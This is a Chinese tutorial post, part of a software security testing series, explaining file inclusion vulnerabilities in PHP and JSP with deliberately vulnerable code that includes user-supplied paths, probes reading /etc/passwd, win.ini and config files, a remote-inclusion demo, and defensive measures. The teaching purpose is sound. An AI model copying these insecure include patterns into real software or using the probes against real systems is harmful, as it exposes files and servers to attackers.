专栏首页用户6517667的专栏软件安全性测试(连载17)

软件安全性测试(连载17)

顾翔老师近期推出一对一入职面试辅导。有兴趣者可加微信xianggu19720625与我联系。先要提供简历初选,合适者进一步洽谈。

顾翔老师的《软件测试技术实战设计、工具及管理》网上购买地址:

https://item.jd.com/34295655089.html

《基于Django的电子商务网站》网上购买地址:

https://item.jd.com/12082665.html

店铺二维码:

2.12文件包含漏洞

文件包含漏洞是指可以执行的文件包含有一个可以执行的文件,显示包含文件的代码内容或者可以执行的文件包含系统重要文件,显示重要文件的漏洞。

1. PHP文件包含

PHP文件包含函数如11所示。

11 PHP文件包含函数

函数

解释

require()

找不到包含文件会产生致命错误(E_COMPILE_ERROR)

include()

找不到包含文件会产生警告(E_WARNING)

require_once()

同require,该文件已经被包含,不会再次包含

include_once()

同include,该文件已经被包含,不会再次包含

1)本地包含

①可执行文件包含可执行文件

ArrayUtil.php文件代码如下。

<?php

functionprintArr($arr,$sp="-->",$lin="<br>"){

foreach($arr as $key=>$value){

echo "$key $sp $value$lin";}}

?>

index.php包含可执行文件ArrayUtil.php,且调用ArrayUtil.php内的函数printArr,代码如下。

<?php

include("ArrayUtil.php");

$arr = array("赤","橙","黄","绿","青","蓝","紫");

ptintArr($arr,"==>")

?>

运行代码index.php,结果如下。

0==>赤

1==>橙

2==>黄

3==>绿

4==>青

5==>蓝

6==>紫

这是文件包含的最基本用法。

②可执行文件包含不可执行文件

一个伪jpg文件phpinfo.jpg,其内容符合PHP规范,代码如下。

<?php

phpinfo();

?>

另一个PHP文件index.php包含这个jpg代码,代码如下。

<?php

include("phpinfo.jpg");

?>

运行index.php代码,phpinfo();代码被执行,如31所示。再来看一个例子。建立文件index1.php,代码如下。

<?php

include("..\\..\\..\\tomcat\\conf\\catalina.properties");

?>

运行这个代码,就把catalina.properties读取出来。当然如果include函数中的URL是一个绝对路径,那么系统中的重要文件就可能被获取。

2)远程包含

远程包含必须把php.ini配置文件中的allow_url_include设置为on,代码如下。

; Whether to allowinclude/require to open URLs (like http:// or ftp://) as files.

;http://php.net/allow-url-include

allow_url_include=on

在远端www.3testing.com/sec目录下存在一个php.txt文件,内容如下。

<?php

echo "Hi God!";

?>

本地文件index.php内容为。

<?php

include("$_GET['page']");

?>

在浏览器输入框中输入http://127.0.0.1:8100/.../index.php?page=http://www.3testing.com/sec/php.txt,即可获取php.txt中的输出内容Hi God!。

试图在www.3testing.com/sec目录下建立一个index1.php。

<?php

include("//etc//passwd");

?>

在浏览器输入框中输入http://127.0.0.1:8100/.../index.php?page=http://www.3testing.com/sec/index1.php,出现如下提示。

Warning: include()[function.include]: open_basedir restriction in effect. File(//etc//passwd) isnot within the allowed path(s):(/data/home/byu4550520001/:/usr/home/byu4550520001/:/data/home/tmp/:/usr/home/tmp/:/var/www/disablesite/)in /data/home/byu4550520001/htdocs/sec/index1.php on line 2

Warning: include(//etc//passwd)[function.include]: failed to open stream: Operationnot permitted in /data/home/byu4550520001/htdocs/sec/index1.php on line 2

Warning: include() [function.include]:Failed opening '//etc//passwd' for inclusion(include_path='.:/var/www/php5/lib/php') in/data/home/byu4550520001/htdocs/sec/index1.php on line 2

由于可见www.3testing.com是托管在阿里云上的,可见阿里云对于文件包含漏洞采取的措施是有效的。

3)获取当前文件所在绝对路径

通过文件包含还可以获取当前文件所在绝对路径。有这么一个PHP文件(index.php)。

<?php

if(isset($_GET['page'])){

include $_GET['page’];

}else{

include 'home.php';}

?>

home.php有一些超链接,sec是一些不存在的URL,内容如下

<li><ahref="index.php?page=home">首页</a></li>

<li><ahref="index.php?page=introduce">我的介绍</a></li>

<li><ahref="index.php?page=class">我的课程</a></li>

<li><ahref="index.php?page=paper">我的文章</a></li>

<li><ahref="index.php?page=pictures">上课图片</a></li>

<li><ahref="index.php?page=video">教学录像</a></li>

<li><ahref="index.php?page=home" target="_blank">测试之家</a></li>

访问index.php,显示home.php,点击任意一个超级链接,显示如下内容。

Warning: include(home): failedto open stream: No such file or directory in C:\xampp\htdocs\sec\7\index.php online 3

Warning: include(): Failedopening 'home' for inclusion (include_path='C:\xampp\php\PEAR') inC:\xampp\htdocs\sec\7\index.php on line 3

这样当前文件所在绝对路径就被暴露了。

2.JSP文件包含

JSP的文件包含包括静态包含和动态包含。

现在有两个文件page1.txt和page1.txt,内容分别为。

page1.txt

My name is Jerry

page2.txt

<%

out.println("My name isJerry");

%>

1)静态包含

静态包含的语法为:<%@ include file="page.txt"%>

page1.txt:<%@ includefile="page1.txt"%><br>

page2.txt:<%@ includefile="page2.txt"%><br>

显示结果如下。

page1.txt: My name is Jerry

page2.txt: My name is Jerry

由此可见静态包含执行符合jsp格式的文件。

2)动态包含

动态包含的语法为:<jsp:includepage="page.txt">

index.jsp

<%

String pages = request.getParameter("page");

%>

<jsp:includepage="<%=pages%>"></jsp:include>

在浏览器中输入:http://../index1.jsp?pages=page1.txt,显示page1内容。

My name is Jerry

在浏览器中输入:http://../index2.jsp?pages=page1.txt,显示page2内容。

<%

out.println("My name is Jerry");

%>

由此可见,动态包含可以显示jsp文件的源代码,就有一定的危险性。

3.文件包含漏洞测试方法

有效测试文件包含漏洞的方法是静态扫描和代码审查。如果发现存在代码包含漏洞,可以尝试用/etc/passwd(Linux)或c:\windows\win.ini(Windows)来尝试。另外也可以借助类似BurnSuite工具来进行文件包含漏洞的测试。

4.文件包含漏洞防护方法

文件包含漏洞的防护可以总结为以下几点。

l确保外部包含是不能被用户控制的。

l包含文件应该在同一路径下,不得包含路径,比如路径隔离符“//”,尤其不得包含或绝对路径。

l仅可能不要包含jsp的动态链接。

l做好对关键文件的文件读、写、执行权限控制,比如阿里云的措施。

l包含文件进行白名单验证。

顾翔老师与云测学院联合推出:软件测试分析与设计,请点击https://v.youku.com/v_show/id_XNDQ3MzkyNjk3Ng==.html?spm=a2hzp.8244740.0.0,收看。有不同观念欢迎与顾翔老师交流!

本文分享自微信公众号 - 软件测试培训(iTestTrain),作者:顾翔

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-01-13

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 使用docker方式部署"禅道"

    禅道 项目管理软件 是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,实现了软件的完整生命周期...

    小老鼠
  • DevOps工具介绍连载(7)——Resque

    作者:Amazing大龙大龙 链接:https://www.jianshu.com/p/a39904a0ba01 来源:简书

    小老鼠
  • 基于QNX的Testbed单元测试环境配置过程

    1.A安装VMware.Workstation.v***.exe1. 本机安装QNX系统:

    小老鼠
  • 文件包含漏洞-懒人安全

    一.漏洞描述 文件包含漏洞主要是程序员把一些公用的代码写在一个单独的文件中,然后使用其他文件进行包含调用,如果需要包含的文件是使用硬编码的,那么一般是...

    奶糖味的代言
  • wordpress 主题不显示、只显示一个主题的解决办法

    魏艾斯博客www.vpsss.net
  • 源码安装PHP7

    下载地址http://www.php.net/downloads.php 点击下面红色框,下载“php-7.2.4.tar.bz2”

    _simple
  • PHP定时执行任务

    PHP定时执行任务有两种方式: 一、Linux 服务器 Linux原生支持crontab,所以可以利用这一功能做定时任务 步骤: 1、编...

    似水的流年
  • PHP定时执行任务

    一、Linux 服务器 Linux原生支持crontab,所以可以利用这一功能做定时任务

    似水的流年
  • PHP定时执行任务

    一、Linux 服务器 Linux原生支持crontab,所以可以利用这一功能做定时任务

    似水的流年
  • 消息中间件Kafaka - PHP操作使用Kafka

    这个位置就是保存的我们刚刚安装的扩展 进入该目录 cd /usr/local/php/lib/php/extensions/no-debug-non-zts-...

    gaobinzhan

扫码关注云+社区

领取腾讯云代金券